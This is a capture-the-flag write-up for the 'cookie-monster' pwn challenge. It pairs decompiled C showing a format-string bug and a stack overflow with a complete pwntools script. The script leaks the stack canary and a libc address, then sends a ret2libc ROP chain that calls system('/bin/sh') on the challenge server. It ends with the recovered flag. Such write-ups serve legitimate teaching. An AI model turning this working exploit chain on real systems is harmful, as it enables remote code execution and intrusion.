Tags: canary format-string pwn ret2libc cookie 

Rating:

You can download challenge file from [here](http://https://github.com/ebubekirtrkr/ebubekirtrkr.github.io/blob/master/assets/files/potter/cookie-monster?raw=true)

##### file cookie-monster
```bash
cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped
```

##### checksec cookie-monster
```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
##### main function
```c
undefined4 main(void)

{
undefined *puVar1;

puVar1 = &stack0x00000004;
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
bakery(puVar1);
return 0;
}
```

##### bakery function
```c
void bakery(void)

{
int in_GS_OFFSET;
char local_30 [32];
int local_10;

local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Enter your name: ");
fgets(local_30,0x20,stdin);
printf("Hello ");
printf(local_30); // FORMAT STRING here since it directly writes user input as format parameter
puts("Welcome to the bakery!\n\nCurrent menu:");
system("cat cookies.txt");
puts("\nWhat would you like to purchase?");
fgets(local_30,0x40,stdin); //BOF here since local_30 has 32 but it trys to write 0x40(64)
puts("Have a nice day!");
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
```

Bakery has bof vulnerabilty, but canary enabled so we should leak canary first. Luckly it has format string vulnerabilty too.
After leaking canary, we should call system with `/bin/sh` string. I couldn't realize that elf has `bin/sh` inside in it, so I went for `ret2libc` attack. Since we have limited payload size instead of calling `puts` with one libc function address, I leak `setbuf` address with format string also, then use it in `ret2libc`.

Full scripts is
```py
from pwn import *
from pwnlib.util.cyclic import cyclic, cyclic_find

#context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF("./cookie-monster")
context.arch=elf.arch

p = remote("chals.damctf.xyz", 31312)

#gdb script
g = """
b *bakery + 226
c
"""

#p = elf.process()
#gdb.attach(p,g)

#LEAK CANARY AND address of setbuf
#payload="AAAA"+"|%p"*30
payload="%15$p%11$p"
p.sendline(payload)

p.recvuntil(b'0x')
canary = int("0x"+p.recv(8).decode(),16)

p.recvuntil(b'0x')
setbuf = int("0x"+p.recv(8).decode(),16)

log.info("canary: "+hex(canary))
log.info("setbuf address: "+hex(setbuf))

#local testing
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")

#get appopriate libc
#https://libc.blukat.me/?q=setbuf%3A0xf7d6a040&l=libc6-i386_2.27-3ubuntu1.4_amd64
libc=ELF("./libc6-i386_2.27-3ubuntu1.4_amd64.so",checksec=False)

#adjust libc start address
libc.address= setbuf - libc.symbols["setbuf"]

cannary_offset = cyclic_find("iaaa")

bof_offset = cyclic_find("daaa")

BINSH = next(libc.search(b"/bin/sh\x00"))

#create rop that calls libc system
libc_rop = ROP(libc)
libc_rop.call(libc.symbols["system"],[BINSH])

#print(libc_rop.dump())

#JUNK+CANARY+JUNK2+ROP
payload=cyclic(cannary_offset)+p32(canary)+cyclic(bof_offset)+libc_rop.chain()

p.recvuntil("What would you like to purchase?\n")
p.sendline(payload)

p.interactive()
#dam{s74CK_c00k13S_4r3_d3L1C10Us}
```